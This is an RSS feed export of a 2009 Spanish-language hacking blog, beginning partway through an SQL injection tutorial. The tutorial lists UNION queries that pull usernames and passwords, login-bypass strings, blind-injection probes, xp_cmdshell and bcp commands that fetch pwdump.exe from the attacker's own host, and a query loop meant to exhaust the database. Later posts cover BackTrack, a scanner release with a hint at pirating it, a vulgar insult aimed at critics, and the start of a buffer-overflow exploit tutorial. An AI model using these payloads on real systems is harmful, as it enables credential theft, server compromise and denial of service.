/&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,usuario,5+FROM+CuentasUsuarios-- ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Este comando nos muestra la primera data de la columna "usuarios" de la tabla "CuentasUsuarios".&lt;br /&gt;&lt;br /&gt;Digamos que la pagina nos mostro 'Cascanola' xD&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,acceso,3+FROM+CuentasUsuarios+WHERE+usuario='Cascanola'-- ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Este comando nos mostrara el password del usuario 'Cascanola' que esta guardado en la tabla 'CuentasUsuarios'.,entonces en nuestra pagina se nos tiene que haber mostrado el password del usuario que en nuestro ataque imaginario es "12345678" xD...&lt;br /&gt;&lt;br /&gt;entonces al final de nuestro ataque nos logueamos con el usuario 'Cascanola' y el password '12345678' xD Ewww...&lt;br /&gt;&lt;br /&gt;recordemos que este escenario solo es suponiendo las paginas y las consultas se aplicaran con la pura logica del usuario..&lt;br /&gt;&lt;br /&gt;ok podemos aplicar mas o menos los mismos metodos en otro tpo de base de datos no nesesariamente sql server, mssql de mocosoft xD, en fin las tecnicas mas o menos iguales aqui una rapida introduccion la misma web escenario pero en php..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/index.php?id=0 ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;lo mismo que ya deben saber despues de "=" es nuestro articulo por ende la consulta a la base de dato y que si fuera el caso que fuera vulnerable nuestra aplicacion la inyeccion va a partir de "=".,&lt;br /&gt;&lt;br /&gt;esta vez usamos de ejemplo un formulario de logeo y lo primero que usaremos el articulo siendo "=0" sera&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ ‘OR 1=1--]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ok ya tenemos claro muchas cosillas debido a la lectura hasta este momento xD usaremos ese comando en los campos de logeo osea donde dice usuario y password,usemos otro ejemplo pero directo a la URL:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/index.php?id=0  ‘OR 1=1-- ]&lt;br /&gt;&lt;br /&gt;usualmente este lo usamos cuando es una inyeccion a ciegas que meramente hablaremos de ella mas adelante por consecuente haz de haber investigado de mas comandos SQL para sacar info dentro de las base de datos podemos usar muchos otros strings u comandos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;admin'--&lt;br /&gt;' or 0=0 --&lt;br /&gt;" or 0=0 --&lt;br /&gt;or 0=0 --&lt;br /&gt;‘hi or 1=1--&lt;br /&gt;&lt;br /&gt;hay muchas tecnicas abarcadas dentro del tema de las inyecciones sql de las que podemos poner muchicimas pero no quiero aburrirlos en el tema repetitivo y algo que quiero recrdarles que dentro de la base de datos no solamente podemos atacar con inyecciones SQL los Buffer Overflows que es un Ataque bien interesante y uno de los metodos favoritos de este servidor se pueden realizar dentro de ellas pero por ahora eso es en otro capitulo.&lt;br /&gt;&lt;br /&gt;es bien impotante recordar que muchas veces nos enontramos con tal aplicacion y ni sabemos que tipo de base de datos gestiona pero eso lo iras mejorando durante el camino si aun asi no sabes como dar con ella puedes intentar con zenmap es una herramienta indispensable a la hora de hacer pentesting.&lt;br /&gt;&lt;br /&gt;Ahora sigamos con el tema de las inyecciones en este caso las inyecciones a ciegas o como se conoce en ingles Blind SQL Injection.,ok explico que es esto usualmente cuando inyectamos una aplicacion y manipulamos la base de datos usualmente nos da los errores tipicos que nos indican si es vulnerable o no.,a raiz de esto los adminsitradores solo prohibe la muestra de errores en la programacion para que no sean mostradas en el sitio web para prevenir futuros ataques.&lt;br /&gt;&lt;br /&gt;saben que administradores esto no los salva del todo xD igual si no muestra los errores puede ser vulnerable a inyeccion a ciegas ;-)&lt;br /&gt;&lt;br /&gt;ok vamos a nuestro escenario imaginario para explicar mas sobre el asunto.digamos que nuestra webquenoesdelgobierno tiene una seccion que le da la oportunidad a sus empleados a ver los memos en linea de la empresa que son publicados blablabla la historia que ustedes quieran:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;entonces el comando que usara la web para buscar la data en la base de datos y mostrarse en la web sera este:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ SELECT title, description,memoDate, body FROM memodats WHERE memodatID = 2 ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;y entonces el servidor respondera mostrando el 2 memo hecho por la empresa en forma de HTML para que pueda ser visualizado en dicha pagina (obviamente) y es lo que vemos con nuestros navegadores.&lt;br /&gt;&lt;br /&gt;para probar si nuestra aplicacion es vulnerable traten de injectar un caracter mas despues del Parametro Comando WHERE y veamos que pasa?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND 1=1 ]&lt;br /&gt;&lt;br /&gt;por resultado el website realiza la siguiente consulta:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ SELECT title, description, memoDate, body FROM memodats WHERE memodatID = 2 AND 1=1 ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;si por resultado la pagina se muestro con el 2 memo o sea la pagina normal que vistes al principio antes de hacer esa consulta pues tenemos una apliccion vulnerable a inyeccion SQL a ciegas.,si la aplicacion no fuera vulnerable pues simplemente la pagina no mostraba el memo o sea nuestra pagina por que el usuario hizo una mala consulta a la base de datos.&lt;br /&gt;&lt;br /&gt;Cuanod probamos la aplicacion el Parametro WHERE es predecible 1=1 siempre sera nuestro inicio por ende real (exite) pero no siempre sabemos si es true entonce por que no le preguntamos a la base de datos directamente?:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND USER_NAME() = 'dbo' ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;USER_NAME() s un parametro que te muestra el nombre del usuaro actual si el usuario actual es 'dbo' (el administrador) entonces el memo se mostrar (nuestra pagina) si no es asi no se mostrara tan sencillo como eso.&lt;br /&gt;&lt;br /&gt;entonces podemos de muchas maneras seguir sacandole info a la aplicacion como nombre de la tabla un numero a la vez como la que ya aplicamos pero de otra manera:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) &gt; 109 ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El Parametrdentro de la consulta 'SELECT' pregunta el nombre de la primera tabla del usuario de la base datos que obviamente siempre es lo primero que queremos haces a la hora de sql injection.,el parametro dentro de la consulta substring() esta funcion nos mostrara el primer caracter de nuestra consulta, el parametro lower() dentro de la consulta lo que hace es convertir ese caracter en letra minuscula, y finalmente el parametro ascii() dentro de la consulta lo que hace es mostrarnos ese caracter en ascii o sea el valor ascii, claro? XD ehh&lt;br /&gt;&lt;br /&gt;si el servidor nos responde mostrando la pagina que normalmente estabamos visualizando o sea el memo pues sabemos que la primera letra de la consulta esta despues de m en ascii es valor 109,haciendo algunas consultas podemos dar con el valor exacto de la letra.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) &gt; 116 ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;si no se mostro nuestro memo (la pagina) pues el valor ascii es mayor que 109,pero menor que 116 la letra esta entre 'n' y 't'.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) &gt; 113 ]&lt;br /&gt;&lt;br /&gt;otro falso(pagina no mostrada) pues debe estar entre '110' y '113'.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) &gt; 111 ]&lt;br /&gt;&lt;br /&gt;falso nuevamente :O pues debe estar entre estas dos letras 'n' y 'o', entonces continuamos cambiando un poco la consulta:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) = 111 ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El servidor nos muestra nuestro memo (pagina) asi que es positivo nuestro nombre de tabla en este caso es 'o' asi como la primera tabla de ella,para sacar la segunda letra repetiremos el proceso pero cambiaremos el parametro de consulta en substring() que el parametro seria el numero que va despues de 'xtype='U'),.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1))) = 109 ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Repitamos el proceso hasta que nos de la palabra completa el problema de las inyecciones SQL a ciegas (Blind) es que tienen que hacer Hartas peticiones para dar con su objetivo,algo que lo pueden arreglar mientras van puliendo sus tecnicas.&lt;br /&gt;&lt;br /&gt;repasemos otra vez atras con lo fundamental y su ejercicio es aqui es imaginarse el escenario y analizar la estructura del codigo SQL para saber de que manera es vulnerable analizemos este codigo:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[SQLQuery = "SELECT Username FROM Users WHERE Username = '" &amp;amp;&lt;br /&gt;strUsername &amp;amp; "' AND Password = '" &amp;amp; strPassword &amp;amp; "'"&lt;br /&gt;strAuthCheck = GetQueryResult(SQLQuery)&lt;br /&gt;If strAuthCheck = "" Then&lt;br /&gt; boolAuthenticated = False&lt;br /&gt;Else&lt;br /&gt; boolAuthenticated = True&lt;br /&gt;End If]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ahora ustedes ya deben saber que cuando nos encontramos con una forma de logeo y password este codigo o similar es lo que tenemos en la base de datos vulnerable,entonces cuando metes los datos de usuario la consulta verifica en las tablas si hay algunos datos que concuerden con la data que acabas de admitir. si la data es encontrada pues eso se guarda en la variable strAuthCheck indicando que el usuario debe ser autentificado,si se diera que el usuario que accedimos no concuerda con ninguna de la data de la base de datos entonces la variable strAuthCheck se queda vacia por que el usuario no puede ser autentificado.&lt;br /&gt;&lt;br /&gt;si las variables strUsername y strPassword tienen algun caracter que usted quiere pues usteden pueden modificar la consulta SQL para que le devuelva el nombre que ustedes quieren,sin nesesidad de saber el password u/o el usuario.pero eso les quedo ya bien claro atraves de la lectura solo que lo enfatizo mas para que se hagan de una idea totalmente clara,pueden decir pero si ya explicastes eso arriba. no esta demas refrescar el cocote xD.&lt;br /&gt;&lt;br /&gt;ok preparemos otro posible escenario pero esta vez en sql server y digamos que ya obtuvistes los datos que quieres,entonces quieres ganar priilegios dentro del servidor y subir archivos al mismo muchos de los puertos que se podrian utilizar el firewall los bloquea como lo son los puertos 137-139.,lo que haremos es subir un archivo binario en una tabla creada por ti mismo directo en la base de datos y luego saltandolo a los directorios del server. xD&lt;br /&gt;una manera bien rara pero todavia funciona&lt;br /&gt;&lt;br /&gt;entonces crearemos una tabla en el servidor:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ create table TablaMaligna (data text) ]&lt;br /&gt;&lt;br /&gt;Despues de haber creado la tabla subiremos nuestro binario a la mismisima tabla que hemos creado:&lt;br /&gt;&lt;br /&gt;[ bulk insert TablaMaligna&lt;br /&gt;  from 'pwdump.exe'&lt;br /&gt;  with (codepage='RAW') ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El binario podemos descargarlo de manera remota al servidor victima con el siguiente comando:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ exec xp_cmdshell 'bcp "select * from TablaMaligna" queryout&lt;br /&gt;pwdump.exe -c -Craw -ipnuestra -Rus -N3n3Bueno' ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;este comando va a suceder una conexion entrante a nuestra pc y escribiendo los comandos en el ejecutable que estamos recreando,en este escenario usaremos el protocolo por defecto asi como el puerto por defecto que puede ser que el firewall bloquee esa conexion entonces haremos:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ exec xp_regwrite&lt;br /&gt;'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',&lt;br /&gt;'N3n3Bueno','REG_SZ','DBMSSOCN,ipnuestra,80'&lt;br /&gt;]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;luego :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ exec xp_cmdshell 'bcp "select * from TablaMaligna" queryout&lt;br /&gt;pwdump.exe -c -Craw -go0ns -Rus -N3n3Bueno' ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;el primer comando SQL configurara una conexion remota interactiva en el puerto -80 hacia nuestra maquina mientras el segundo comando SQL se conectara con nuestra maquina a traves del puerto -80 para descargar nuestro archivo binario..&lt;br /&gt;&lt;br /&gt;entonces se preguntaran por que tanto revolu y tanta cosa pero lo que queremos enfatizar con este paper es cubrir el tema por completo en cada una de las tecnicas usadas.antes de llegar a usar los scanners y cosas y algo que veo bien comun es la costumbre de usar el SSS :O si ese mismo scanners que te arroja un 80% de falsos positivos a sabiendas que a manos pueden hacer muchicimas cosas.&lt;br /&gt;&lt;br /&gt;ahora iremos algo mas teorico sobre esta vulnerabilidad para acabar con este capitulo a la hora de buscar la vulnerabilidad de esa aplicacion debemos tener bien en claro que el cliente debe comunicarse con el servidor y cuales son nuestros objetivos dentro de la ejecucion de la inyeccion.&lt;br /&gt;&lt;br /&gt;despues de obtener los privilegios o que ya tengamos claro que la aplicacion es vulnerable podemos hacer muchas cosas inclusive un ataque de denegacion de servicio:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ create table #tmp (x varchar(8000))&lt;br /&gt;exec('insert into #tmp select ''X''')&lt;br /&gt;while 1=1 exec('insert into #tmp select * from #tmp' ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;si haciendo esa consulta y manipulando los comandos podemos crear una tabla y correra con un loop infinito insertando variables en la tabla :O., las tablas temporeras se guardan en el sistema temporero de la base de datos y eventualmente nuestra base de datos temporal crecera resultando en el consumo de todos los recursos,y por ende el sistema cae al no poder comunicarse con la base de datos.&lt;br /&gt;#######################################&lt;br /&gt;&lt;br /&gt;las tecnicas son muchicimas y podemos continuar ire agregando mas tecnicas dado que la necesidad que vayan por un paso a paso en estos tiempos es imprecindible. continuaremos con el proximo capitulo y espero que esta introduccion les haya gustado. por ahora terminamos aqui a pasar a lo proximo&lt;br /&gt;========================================&lt;br /&gt;&lt;br /&gt;###########&lt;br /&gt;#blood_rec#&lt;br /&gt;###########&lt;/blockquote&gt;Para Ver Manual Completo Puede Verlo&lt;br /&gt;&lt;a href="http://clubhacker.66ghz.com/tutes/cubriendo_aplicando_teoriasSQLi.txt"&gt;Link&lt;/a&gt;&lt;br /&gt;&lt;a href="http://foro.el-hacker.com/index.php/topic,185226.0.html"&gt;Link&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-3097000347906938558?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/xo9lNSI9CFs" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-07-29T20:14:04.447-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2009/07/cubriendo-y-aplicando-teorias-de.html</feedburner:origLink></item><item><title>BackTrack 4 Pre-Final Lanzada</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/gBECon2a8DA/backtrack-4-pre-final-lanzada.html</link><category>Herramientas</category><category>pentest</category><category>Proyectos</category><category>Backtrack</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Fri, 19 Jun 2009 23:55:27 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-6805739490165998304</guid><description>Todavia no es la version final ni nada por el estilo pero si hay un poco de avanze en el lanzamiento de la final.&lt;br /&gt;&lt;br /&gt;El Gran Equipo de Remote Exploit a Anunciado El Lanzamiento de la Pre-Final De Este Maravilloso Sistema Operativo (Suite De Pentesting) ...Descrita como la mejor herramienta It en el mercAdo asi como lo mejor que puede tener un auditor de sistemas en sus manos sin nesesidad de agregar, o descargar aditivo si ya por si viene todo instalado.&lt;br /&gt;&lt;br /&gt;Ya como anuncian los desarrolladores y como se hizo con la beta por favor reportes de bugs y comportamiento raro reportenlo ya que de esa manera se le da la mano a los desarrolladores a hacer los arreglos correspondientes para la version final.&lt;br /&gt;&lt;br /&gt;para una lista de los cambios pueden descargar el PdF Aqui con un resumen de los arreglos y cambios de esta version &lt;a href="http://www.offensive-security.com/backtrack4-guide-tutorial.pdf"&gt;Aqui&lt;/a&gt; .&lt;br /&gt;&lt;br /&gt;Y para descargar la live cd pueden hacerlo desde &lt;a href="http://www.remote-exploit.org/cgi-bin/fileget?version=bt4-prefinal-iso"&gt;Aqui&lt;/a&gt;, que es una Imagen .Iso DvD.&lt;br /&gt;&lt;br /&gt;Los Sums De la Iso Pueden Encontrarlos Aqui &lt;a href="http://spl0it.org/files/bt4-pre-final.txt"&gt;Md5sum y sha256sum&lt;/a&gt; .&lt;br /&gt;&lt;br /&gt;Por este medio Agradecer al Equipo De Remote-Exploit:&lt;br /&gt;&lt;a href="http://remote-exploit.blogspot.com/"&gt;Max Moser&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.offensive-security.com/"&gt;Mati Aharoni&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.remote-exploit.org/"&gt;Filip Waeytens&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.spl0it.org/"&gt;Joshua D. Abraham&lt;/a&gt;&lt;br /&gt;y no puede faltar a un gran amigo&lt;br /&gt;&lt;a href="http://pur3h4t3.blogspot.com/"&gt;J. Martin Bos &lt;/a&gt;(&lt;a href="http://forums.remote-exploit.org/"&gt;pureh@te&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;=====================================&lt;br /&gt;gracias mi gente y esperemos a que salga la final mientras tanto prueben con esa...&lt;br /&gt;&lt;br /&gt;salu2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-6805739490165998304?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/gBECon2a8DA" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-19T23:55:27.070-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">5</thr:total><enclosure url="http://www.offensive-security.com/backtrack4-guide-tutorial.pdf" length="115386" type="application/pdf" /><feedburner:origLink>http://h4xxor.blogspot.com/2009/06/backtrack-4-pre-final-lanzada.html</feedburner:origLink></item><item><title>Acunetix 6.5 Lanzado Scanner De Vulnerabilidades</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/fFXCmSsY2_Y/acunetix-65-lanzado-scanner-de.html</link><category>Herramientas</category><category>Auditorias</category><category>SQL Inyection</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Fri, 19 Jun 2009 11:00:33 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-6894330739566130537</guid><description>Ya saben que siempre tengo una guerra en contra de los scanners automatizados y mas aun en la plataforma de la mierda de Sistema Operativo Windows...pero cumplo al menos con dar la noticia.&lt;br /&gt;&lt;br /&gt;y el Acunteix 6.5 fue lanzado supuestamente fueron arreglado y corregidos algunos bugs que tenia y se le hicieron una que otra mejora.&lt;br /&gt;&lt;br /&gt;yo personalmente no lo e probado ni nada asi que realmente no puedo indicarles como es su performance en los servidores&lt;br /&gt;&lt;br /&gt;tiene algunas cosas nuevas como recargar las paginas ey darle replay estilo live http headers o algo similar xD.&lt;br /&gt;&lt;br /&gt;se le agregaron strings de sql injection para que todos los script kiddies que hay en la red se puedan divertir aun mas xD..asi como mas soporte para tomcat y otras aplicaciones webs realmente la interfaz no cambio practicamente es la misma que la pasada.&lt;br /&gt;&lt;br /&gt;en fin mas herramientas para erradicar el elitismo de la la red o como dirian muchos enviandome mas mensajes&lt;br /&gt;&lt;br /&gt;"es para hacer el trabajo mas facil,o para un auditor es una herramienta indispensable,los responsables de las auditorias IT saben que es lo mejor"&lt;br /&gt;&lt;br /&gt;bla bla en fin pruebenla a ver lo mas lindo es el precio de la herramienta &lt;a href="http://www.acunetix.com/ordering/pricing.htm"&gt;Aqui&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;pero nada que no se pueda conseguir por ahi como en warez bb o algo asi&lt;br /&gt;salu2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-6894330739566130537?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/fFXCmSsY2_Y" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-19T11:00:33.558-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2009/06/acunetix-65-lanzado-scanner-de.html</feedburner:origLink></item><item><title>Ak De Nuevo</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/SlSP0mmk1Rk/ak-de-nuevo.html</link><category>Mi Vida</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Fri, 24 Apr 2009 12:14:42 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-8883989357215429303</guid><description>Bueno me estare dando la vuelta por aqui nuevamente ya que e estado muy ocupado recientemente con mi trabajo y mis funciones Mil.&lt;br /&gt;&lt;br /&gt;gracias a los que se han preocupado por mi y han hechado sus bendiciones les agradezco de puro corazon.&lt;br /&gt;&lt;br /&gt;a los "Haters" u Odiosos (que me odian) pues me pueden chupar mi gran verga,y conseguir una visa para que tengan 6 meses de ella xDDDDDDD lol sigan haciendo lo suyo que hago lo mio jajaja asi que ni se molesten y gasten energias en odiarme,me encantaria 2 minutos con cada uno de ellos que garantizadamente los OWNEO Facil.&lt;br /&gt;&lt;br /&gt;y pues estare por aqui dandome la vueltita seguidamente les quiere...&lt;br /&gt;&lt;br /&gt;blood_rec&lt;br /&gt;&lt;br /&gt;" U Can Hate Me Now "&lt;br /&gt;xDDDD&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-8883989357215429303?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/SlSP0mmk1Rk" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-04-24T12:14:42.554-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">5</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2009/04/ak-de-nuevo.html</feedburner:origLink></item><item><title>Remote Exploitation with C and Perl by Preddy [English]</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/0e072uB2F4o/remote-exploitation-with-c-and-perl-by.html</link><category>exploits</category><category>manuales</category><category>papers</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Thu, 19 Mar 2009 21:21:18 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-6125399508130148493</guid><description>&lt;blockquote&gt;#RootShell Security Group#&lt;br /&gt;&lt;br /&gt;Código:&lt;br /&gt;&lt;br /&gt;-- Remote Exploitation with C and Perl by Preddy - RootShell Security Group&lt;br /&gt;&lt;br /&gt;--[ Contents&lt;br /&gt;&lt;br /&gt;1.1 - Goal&lt;br /&gt;1.2 - Situation&lt;br /&gt;1.3 - Vulnerable Daemon + Vulnerability analyses&lt;br /&gt;1.4 - Payload/Code construction/analyses in C&lt;br /&gt;1.5 - Payload/Code construction/analyses in Perl&lt;br /&gt;1.6 - Conlusion&lt;br /&gt;1.7 - Contact &amp; Feedback&lt;br /&gt;&lt;br /&gt;[1.1]--[ Goal&lt;br /&gt;&lt;br /&gt;Hi, Preddy here , 17 year old turkish kid from holland,First of all sorry for my english , please do notify me of any spelling errors.&lt;br /&gt;I would recommend you to read my previous tutorial about "Simple Buffer Overflows"&lt;br /&gt;to avoid misunderstanding in this tutorial and to get a basic understanding of buffer overflows.&lt;br /&gt;Our goal is to write two remote exploits , one in c and one in perl.&lt;br /&gt;Both of the exploits, exploit a vulnerability in a small vulnerable daemon.&lt;br /&gt;You would need perl installed(eg: ActivePerl for windows) and a compiler for c &lt;br /&gt;(eg: cygwin for windows) you should have perl and a compiler package installed at your&lt;br /&gt;linux distribution, you can install them with the following commands &lt;br /&gt;(incase you haven't got it installed) :&lt;br /&gt;&lt;br /&gt;To search for the perl package:&lt;br /&gt;&lt;br /&gt;apt-cache search perl&lt;br /&gt;&lt;br /&gt;then to install it:&lt;br /&gt;&lt;br /&gt;apt-get install [perl-pkg-name]&lt;br /&gt;&lt;br /&gt;you can do the same with the compiler package.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1.2]--[ Situation&lt;br /&gt;&lt;br /&gt;I have a laptop on my left side and a desktop on my right-hand side.&lt;br /&gt;the laptop uses the following local ip address: 192.168.1.100&lt;br /&gt;and the desktop uses: 192.168.1.101 as it's local ip address.&lt;br /&gt;The laptop is the attacker in this situation and the desktop is our victim.&lt;br /&gt;both run slackware 10.2 and have the VA patch turned off.&lt;br /&gt;&lt;br /&gt;Turning the VA patch off:&lt;br /&gt;&lt;br /&gt;cat /proc/sys/kernel/randomize_va_space&lt;br /&gt;1&lt;br /&gt;echo 0 &gt; /proc/sys/kernel/randomize_va_space&lt;br /&gt;cat /proc/sys/kernel/randomize_va_space&lt;br /&gt;0&lt;br /&gt;&lt;br /&gt;The desktop computer runs a vulnerable daemon on port 7500 which we have to exploit&lt;br /&gt;and open its cd-rom drive with the payload. Once again it's a very basic stack overflow&lt;br /&gt;and this should be a piece of cake for the average exploit writer but it's very&lt;br /&gt;usefull for people who are just starting to write exploits and exploit buffer overflows.&lt;br /&gt;&lt;br /&gt;[1.3]--[ Vulnerable Daemon + Vulnerability analyses&lt;br /&gt;&lt;br /&gt;Our vulnerable daemon:&lt;br /&gt;&lt;br /&gt;server.c&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;errno.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;sys/socket.h&gt;&lt;br /&gt;#include &lt;netinet/in.h&gt;&lt;br /&gt;&lt;br /&gt;#define LISTENPORT 7500&lt;br /&gt;&lt;br /&gt;#define BACKLOG 10&lt;br /&gt;&lt;br /&gt;#define MSG "Hello, how are you?"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int handle_reply(char *str)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;char response[256];&lt;br /&gt;&lt;br /&gt;strcpy(response,str);&lt;br /&gt;&lt;br /&gt;printf("The client says \"%s\"\n",response);&lt;br /&gt;&lt;br /&gt;return 0;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(int argc, char * argv[]) {&lt;br /&gt;  int sock, conn;&lt;br /&gt;  struct sockaddr_in my_addr, client_addr;&lt;br /&gt;  int sockopt_on = 1;&lt;br /&gt;  int sa_in_size = sizeof(struct sockaddr_in);&lt;br /&gt;  char reply[1024];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  //get a socket&lt;br /&gt;  if ((sock = socket(AF_INET, SOCK_STREAM,0)) == -1) {&lt;br /&gt;    perror("socket");&lt;br /&gt;    exit(1);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  //first zero the struct&lt;br /&gt;  memset((char *) &amp;my_addr, 0, sa_in_size);&lt;br /&gt;&lt;br /&gt;  //now fill in the fields we need&lt;br /&gt;  my_addr.sin_family = AF_INET;&lt;br /&gt;  my_addr.sin_port = htons(LISTENPORT);&lt;br /&gt;  my_addr.sin_addr.s_addr = htonl(INADDR_ANY);&lt;br /&gt;&lt;br /&gt;  //bind our socket to the port&lt;br /&gt;  if (bind(sock,(struct sockaddr *)&amp;my_addr, sa_in_size) == -1) {&lt;br /&gt;    perror("bind");&lt;br /&gt;    exit(1);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  //start listening for incoming connections&lt;br /&gt;  if (listen(sock,BACKLOG) == -1) {&lt;br /&gt;    perror("listen");&lt;br /&gt;    exit(1);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  while(1) {&lt;br /&gt;    //grab connections&lt;br /&gt;    conn = accept(sock, (struct sockaddr *)&amp;client_addr, &amp;sa_in_size);&lt;br /&gt;    if (conn == -1) {&lt;br /&gt;      